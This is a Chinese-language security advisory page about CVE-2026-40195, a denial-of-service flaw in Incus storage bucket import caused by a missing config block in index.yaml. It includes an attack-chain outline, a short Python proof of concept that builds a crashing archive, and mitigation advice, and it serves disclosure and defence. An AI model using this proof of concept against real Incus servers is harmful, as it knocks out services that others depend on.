IPBUF安全漏洞报告
English
CVE-2026-40195 CVSS 6.5 中危

CVE-2026-40195 Incus存储桶导入拒绝服务漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-40195
漏洞类型
拒绝服务 (DoS), 空指针引用
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Incus

相关标签

DoSIncus空指针引用容器管理CVE-2026-40195

漏洞概述

Incus是一个系统容器和虚拟机管理器。在7.0.0版本之前,其存储桶导入逻辑中缺少必要的验证机制。具有存储桶功能访问权限的经过身份验证的用户,可以通过构造恶意的备份存档文件导致Incus守护进程崩溃。该漏洞源于备份元数据处理逻辑,当守护进程处理导入存档中的index.yaml文件时,未验证配置对象是否已初始化就尝试访问其成员。缺少config块的恶意index.yaml会在存储桶导入期间触发空指针解引用,从而终止守护进程。

技术细节

该漏洞位于Incus的备份元数据处理模块中。具体来说,当用户执行存储桶导入操作时,系统会解析上传的压缩包中的index.yaml文件。代码逻辑中存在缺陷,即在解析index.yaml后,直接访问了备份配置对象的成员变量,而在此之前没有对配置对象是否成功初始化进行非空检查。攻击者可以精心制作一个特殊的归档文件,其中包含一个省略了config块的index.yaml文件。当Incus守护进程尝试读取这个缺失的配置块时,会发生空指针解引用错误。由于这是守护进程层面的错误,它会导致整个Incus服务异常终止。虽然攻击者需要具备一定的权限,但利用该漏洞无需用户交互,且可以通过重复攻击维持服务不可用状态。

攻击链分析

STEP 1
1. 准备阶段
攻击者获取目标Incus服务器的访问权限,并拥有存储桶功能的操作权限。
STEP 2
2. 构造Payload
攻击者编写脚本,生成一个包含恶意index.yaml文件的压缩包,该文件故意省略了config配置块。
STEP 3
3. 执行攻击
攻击者通过Incus客户端或API接口,利用存储桶导入功能上传该恶意压缩包。
STEP 4
4. 触发漏洞
Incus守护进程解析index.yaml时,因缺少config块而访问未初始化的空指针,导致进程崩溃。
STEP 5
5. 持续拒绝服务
攻击者重复上传恶意文件,确保Incus服务无法正常启动或保持运行,达成DoS目的。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import io # Create a malicious index.yaml omitting the 'config' block # This triggers the nil-pointer dereference in Incus < 7.0.0 malicious_yaml_content = b"""# Malformed backup index container: malicious_bucket # Note: The 'config' block is missing here """ # Create a tar.gz archive in memory memory_buffer = io.BytesIO() with tarfile.open(fileobj=memory_buffer, mode="w:gz") as tar: tarinfo = tarfile.TarInfo(name="index.yaml") tarinfo.size = len(malicious_yaml_content) tar.addfile(tarinfo, io.BytesIO(malicious_yaml_content)) # Write the exploit file to disk exploit_filename = "cve_2026_40195_exploit.tar.gz" with open(exploit_filename, "wb") as f: f.write(memory_buffer.getvalue()) print(f"[+] Exploit archive created: {exploit_filename}") print("[+] Usage: Upload this file to the target Incus server using the storage bucket import API.")

影响范围

Incus < 7.0.0

防御指南

临时缓解措施
在无法立即升级的情况下,应严格审计并缩减拥有存储桶管理权限的用户列表。建议监控Incus守护进程的日志,一旦检测到因解析index.yaml导致的崩溃,应立即排查并阻断相关导入操作。此外,可以通过外部监控脚本自动重启守护进程以减轻部分影响,但这并不能从根本上解决漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表